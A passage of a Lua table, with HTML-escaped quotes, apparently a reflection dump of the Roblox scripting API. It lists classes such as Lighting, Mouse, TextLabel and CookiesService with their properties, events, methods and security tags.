 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 }
 }
 }
 },
 ClassName = &quot;GuiButton&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AutoButtonColor&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Modal&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Selected&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Style&quot;,
 Type = &quot;ButtonStyle&quot;
 }
 },
 notbrowsable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;verb&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetVerb&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 JointsService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;JointsService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ClearJoinAfterMoveJoints&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;CreateJoinAfterMoveJoints&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;joinInstance&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;SetJoinAfterMoveInstance&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;joinTarget&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;SetJoinAfterMoveTarget&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ShowPermissibleJoints&quot;
 }
 }
 },
 NetworkPeer = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;NetworkPeer&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;limit&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetOutgoingKBPSLimit&quot;,
 LocalUserSecurity = true
 }
 }
 },
 AdvancedDragger = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;AdvancedDragger&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 ReflectionMetadata = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ReflectionMetadata&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 GuiBase = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;GuiBase&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 BodyGyro = {
 Inherits = &quot;BodyMover&quot;,
 Events = {
 },
 ClassName = &quot;BodyGyro&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;D&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;P&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;cframe&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 Name = &quot;maxTorque&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 }
 },
 GuiLabel = {
 Inherits = &quot;GuiObject&quot;,
 Events = {
 },
 ClassName = &quot;GuiLabel&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 SpecialMesh = {
 Inherits = &quot;FileMesh&quot;,
 Events = {
 },
 ClassName = &quot;SpecialMesh&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;MeshType&quot;,
 Type = &quot;MeshType&quot;
 }
 },
 Methods = {
 }
 },
 InstancePacketCache = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;InstancePacketCache&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 FileMesh = {
 Inherits = &quot;DataModelMesh&quot;,
 Events = {
 },
 ClassName = &quot;FileMesh&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;MeshId&quot;,
 Type = &quot;Content&quot;
 },
 {
 Name = &quot;TextureId&quot;,
 Type = &quot;Content&quot;
 }
 },
 Methods = {
 }
 },
 LuaSettings = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;LuaSettings&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AreScriptStartsReported&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;DefaultWaitTime&quot;,
 Type = &quot;double&quot;
 },
 {
 Name = &quot;GcFrequency&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;GcLimit&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;GcPause&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;GcStepMul&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;WaitingThreadsBudget&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 Animator = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Animator&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;animation&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;LoadAnimation&quot;
 }
 }
 },
 SkateboardPlatform = {
 Inherits = &quot;Part&quot;,
 Events = {
 {
 Name = &quot;Equipped&quot;,
 Arguments = {
 {
 Name = &quot;humanoid&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;skateboardController&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;MoveStateChanged&quot;,
 Arguments = {
 {
 Name = &quot;newState&quot;,
 Type = &quot;MoveState&quot;
 },
 {
 Name = &quot;oldState&quot;,
 Type = &quot;MoveState&quot;
 }
 }
 },
 {
 Name = &quot;Unequipped&quot;,
 Arguments = {
 {
 Name = &quot;humanoid&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;humanoid&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;skateboardController&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;equipped&quot;
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;humanoid&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;unequipped&quot;
 }
 },
 ClassName = &quot;SkateboardPlatform&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;Object&quot;,
 Name = &quot;Controller&quot;,
 readonly = true
 },
 {
 Type = &quot;Object&quot;,
 Name = &quot;ControllingHumanoid&quot;,
 readonly = true
 },
 {
 Name = &quot;Steer&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;StickyWheels&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Throttle&quot;,
 Type = &quot;int&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;impulseWorld&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Name = &quot;ApplySpecificImpulse&quot;
 }
 }
 },
 DebuggerWatch = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;DebuggerWatch&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Expression&quot;,
 Type = &quot;string&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;CheckSyntax&quot;
 }
 }
 },
 DataModelMesh = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;DataModelMesh&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Offset&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;Scale&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;VertexColor&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 notbrowsable = true,
 Methods = {
 }
 },
 SkateboardController = {
 Inherits = &quot;Controller&quot;,
 Events = {
 {
 Name = &quot;AxisChanged&quot;,
 Arguments = {
 {
 Name = &quot;axis&quot;,
 Type = &quot;string&quot;
 }
 }
 }
 },
 ClassName = &quot;SkateboardController&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;float&quot;,
 Name = &quot;Steer&quot;,
 readonly = true
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;Throttle&quot;,
 readonly = true
 }
 },
 Methods = {
 }
 },
 TextLabel = {
 Inherits = &quot;GuiLabel&quot;,
 Events = {
 },
 ClassName = &quot;TextLabel&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Font&quot;,
 Type = &quot;Font&quot;
 },
 {
 Name = &quot;FontSize&quot;,
 Type = &quot;FontSize&quot;
 },
 {
 Name = &quot;Text&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;Vector2&quot;,
 Name = &quot;TextBounds&quot;,
 readonly = true
 },
 {
 deprecated = true,
 Type = &quot;BrickColor&quot;,
 Name = &quot;TextColor&quot;,
 hidden = true
 },
 {
 Name = &quot;TextColor3&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;TextFits&quot;,
 readonly = true
 },
 {
 Name = &quot;TextScaled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;TextStrokeColor3&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;TextStrokeTransparency&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;TextTransparency&quot;,
 Type = &quot;float&quot;
 },
 {
 deprecated = true,
 Type = &quot;bool&quot;,
 Name = &quot;TextWrap&quot;
 },
 {
 Name = &quot;TextWrapped&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;TextXAlignment&quot;,
 Type = &quot;TextXAlignment&quot;
 },
 {
 Name = &quot;TextYAlignment&quot;,
 Type = &quot;TextYAlignment&quot;
 }
 },
 Methods = {
 }
 },
 Mouse = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Button1Down&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;Button1Up&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;Button2Down&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;Button2Up&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;Idle&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;KeyDown&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 }
 },
 {
 Name = &quot;KeyUp&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 }
 },
 {
 Name = &quot;Move&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;WheelBackward&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;WheelForward&quot;,
 Arguments = {
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;keyDown&quot;
 }
 },
 ClassName = &quot;Mouse&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;Hit&quot;,
 readonly = true
 },
 {
 Name = &quot;Icon&quot;,
 Type = &quot;Content&quot;
 },
 {
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;Origin&quot;,
 readonly = true
 },
 {
 Type = &quot;Object&quot;,
 Name = &quot;Target&quot;,
 readonly = true
 },
 {
 Name = &quot;TargetFilter&quot;,
 Type = &quot;Object&quot;
 },
 {
 Type = &quot;NormalId&quot;,
 Name = &quot;TargetSurface&quot;,
 readonly = true
 },
 {
 Type = &quot;Ray&quot;,
 Name = &quot;UnitRay&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;ViewSizeX&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;ViewSizeY&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;X&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;Y&quot;,
 readonly = true
 },
 {
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;hit&quot;,
 deprecated = true,
 hidden = true,
 readonly = true
 },
 {
 deprecated = true,
 Type = &quot;Object&quot;,
 Name = &quot;target&quot;,
 readonly = true
 }
 },
 Methods = {
 }
 },
 BindableFunction = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;BindableFunction&quot;,
 Callbacks = {
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 {
 Name = &quot;arguments&quot;,
 Type = &quot;Tuple&quot;
 }
 },
 Name = &quot;OnInvoke&quot;
 }
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 {
 Name = &quot;arguments&quot;,
 Type = &quot;Tuple&quot;
 }
 },
 Name = &quot;Invoke&quot;
 }
 }
 },
 ReflectionMetadataCallbacks = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ReflectionMetadataCallbacks&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Clothing = {
 Inherits = &quot;CharacterAppearance&quot;,
 Events = {
 },
 ClassName = &quot;Clothing&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Lighting = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;LightingChanged&quot;,
 Arguments = {
 {
 Name = &quot;skyboxChanged&quot;,
 Type = &quot;bool&quot;
 }
 }
 }
 },
 ClassName = &quot;Lighting&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Ambient&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;Brightness&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;ColorShift&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;ColorShift&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;FogColor&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;FogEnd&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;FogStart&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;GeographicLatitude&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;GlobalShadows&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;OutdoorAmbient&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;Outlines&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;ShadowColor&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;TimeOfDay&quot;,
 Type = &quot;string&quot;
 }
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;GetMinutesAfterMidnight&quot;
 },
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 },
 Name = &quot;GetMoonDirection&quot;
 },
 {
 ReturnType = &quot;float&quot;,
 Arguments = {
 },
 Name = &quot;GetMoonPhase&quot;
 },
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 },
 Name = &quot;GetSunDirection&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;minutes&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;SetMinutesAfterMidnight&quot;
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;getMinutesAfterMidnight&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;minutes&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;setMinutesAfterMidnight&quot;,
 deprecated = true
 }
 }
 },
 RenderSettings = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;RenderSettings&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AASamples&quot;,
 Type = &quot;AASamples&quot;
 },
 {
 Name = &quot;AlwaysDrawConnectors&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Antialiasing&quot;,
 Type = &quot;Antialiasing&quot;
 },
 {
 Name = &quot;AutoFRMLevel&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;DebugDisableInterpolation&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;EagerBulkExecution&quot;,
 Type = &quot;bool&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;EnableFRM&quot;,
 hidden = true
 },
 {
 Name = &quot;FrameRateManager&quot;,
 Type = &quot;FramerateManagerMode&quot;
 },
 {
 Name = &quot;IsAggregationShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;IsSynchronizedWithPhysics&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;MeshCacheSize&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;QualityLevel&quot;,
 Type = &quot;QualityLevel&quot;
 },
 {
 Name = &quot;Resolution&quot;,
 Type = &quot;Resolution&quot;
 },
 {
 Name = &quot;Shadow&quot;,
 Type = &quot;Shadow&quot;
 },
 {
 Name = &quot;ShowBoundingBoxes&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;TextureCacheSize&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;UsesPaintMessage&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;graphicsMode&quot;,
 Type = &quot;GraphicsMode&quot;
 }
 },
 notbrowsable = true,
 Methods = {
 {
 ReturnType = &quot;int&quot;,
 Arguments = {
 },
 Name = &quot;GetMaxQualityLevel&quot;
 }
 }
 },
 ObjectValue = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;ObjectValue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Value&quot;,
 Type = &quot;Object&quot;
 }
 },
 Methods = {
 }
 },
 CharacterMesh = {
 Inherits = &quot;CharacterAppearance&quot;,
 Events = {
 },
 ClassName = &quot;CharacterMesh&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;BaseTextureId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;BodyPart&quot;,
 Type = &quot;BodyPart&quot;
 },
 {
 Name = &quot;MeshId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;OverlayTextureId&quot;,
 Type = &quot;int&quot;
 }
 },
 Methods = {
 }
 },
 GuidRegistryService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;GuidRegistryService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 GameSettings = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Arguments = {
 {
 Name = &quot;recording&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;VideoRecordingChangeRequest&quot;,
 RobloxScriptSecurity = true
 }
 },
 ClassName = &quot;GameSettings&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;BubbleChatLifetime&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;BubbleChatMaxBubbles&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;ChatHistory&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;ChatScrollLength&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;CollisionSoundEnabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;CollisionSoundVolume&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;HardwareMouse&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;ImageUploadPromptBehavior&quot;,
 Type = &quot;UploadSetting&quot;
 },
 {
 Name = &quot;MaxCollisionSounds&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;ReportAbuseChatHistory&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;SoftwareSound&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;SoundEnabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;VideoCaptureEnabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;VideoQuality&quot;,
 Type = &quot;VideoQualitySettings&quot;
 }
 },
 notbrowsable = true,
 Methods = {
 }
 },
 TotalCountTimeIntervalItem = {
 Inherits = &quot;StatsItem&quot;,
 Events = {
 },
 ClassName = &quot;TotalCountTimeIntervalItem&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 DebuggerService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;DebuggerAdded&quot;,
 Arguments = {
 {
 Name = &quot;debugger&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;DebuggerRemoved&quot;,
 Arguments = {
 {
 Name = &quot;debugger&quot;,
 Type = &quot;Instance&quot;
 }
 }
 }
 },
 ClassName = &quot;DebuggerService&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;DebuggingEnabled&quot;,
 readonly = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;script&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;AddDebugger&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;EnableDebugging&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;GetDebuggers&quot;
 }
 }
 },
 HandlesBase = {
 Inherits = &quot;PartAdornment&quot;,
 Events = {
 },
 ClassName = &quot;HandlesBase&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 FaceInstance = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;FaceInstance&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Face&quot;,
 Type = &quot;NormalId&quot;
 }
 },
 notbrowsable = true,
 Methods = {
 }
 },
 Toolbar = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Toolbar&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;text&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;tooltip&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;iconname&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;CreateButton&quot;,
 LocalUserSecurity = true
 }
 }
 },
 BodyColors = {
 Inherits = &quot;CharacterAppearance&quot;,
 Events = {
 },
 ClassName = &quot;BodyColors&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;HeadColor&quot;,
 Type = &quot;BrickColor&quot;
 },
 {
 Name = &quot;LeftArmColor&quot;,
 Type = &quot;BrickColor&quot;
 },
 {
 Name = &quot;LeftLegColor&quot;,
 Type = &quot;BrickColor&quot;
 },
 {
 Name = &quot;RightArmColor&quot;,
 Type = &quot;BrickColor&quot;
 },
 {
 Name = &quot;RightLegColor&quot;,
 Type = &quot;BrickColor&quot;
 },
 {
 Name = &quot;TorsoColor&quot;,
 Type = &quot;BrickColor&quot;
 }
 },
 Methods = {
 }
 },
 FriendService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;FriendService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetBreakFriendUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetCreateFriendRequestUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetDeleteFriendRequestUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;enable&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetEnabled&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetGetFriendsUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetMakeFriendUrl&quot;,
 LocalUserSecurity = true
 }
 }
 },
 CookiesService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;CookiesService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;DeleteCookieValue&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;GetCookieValue&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetCookieValue&quot;,
 RobloxSecurity = true
 }
 }
 },
 NotificationBox = {
 Inherits = &quot;GuiObject&quot;,
 Events = {
 },
 ClassName = &quot;NotificationBox&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 }
 },
 PVInstance = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;PVInstance&quot;,
 Callbacks = {
 },
 Properties = {
 {
 deprecated = true,
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;CoordinateFrame&quot;,
 writeonly = true
 }
 },
 notbrowsable = true,
 Methods = {
 }
 },
 SelectionBox = {
 Inherits = &quot;PVAdornment&quot;,
 Events = {
 },
 ClassName = &quot;SelectionBox&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 VehicleSeat = {
 Inherits = &quot;BasePart&quot;,
 Events = {
 },
 ClassName = &quot;VehicleSeat&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;int&quot;,
 Name = &quot;AreHingesDetected&quot;,
 readonly = true
 },
 {
 Name = &quot;Disabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;HeadsUpDisplay&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;MaxSpeed&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Steer&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;Throttle&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;Torque&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;TurnSpeed&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 CustomEvent = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;ReceiverConnected&quot;,
 Arguments = {
 {
 Name = &quot;receiver&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;ReceiverDisconnected&quot;,
 Arguments = {
 {
 Name = &quot;receiver&quot;,
 Type = &quot;Instance&quot;
 }
 }
 }
 },
 ClassName = &quot;CustomEvent&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;GetAttachedReceivers&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;newValue&quot;,
 Type = &quot;float&quot;
 }
 },
 Name = &quot;SetValue&quot;
 }
 }
 },
 TextureContentProvider = {
 Inherits = &quot;CacheableContentProvider&quot;,
 Events = {
 },
 ClassName = &quot;TextureContentProvider&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 IntValue = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;IntValue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Value&quot;,
 Type = &quot;int&quot;
 }
 },
 Methods = {
 }
 },
 FloorWire = {
 Inherits = &quot;GuiBase3d&quot;,
 Events = {
 },
 ClassName = &quot;FloorWire&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;CycleOffset&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;From&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;StudsBetweenTextures&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Texture&quot;,
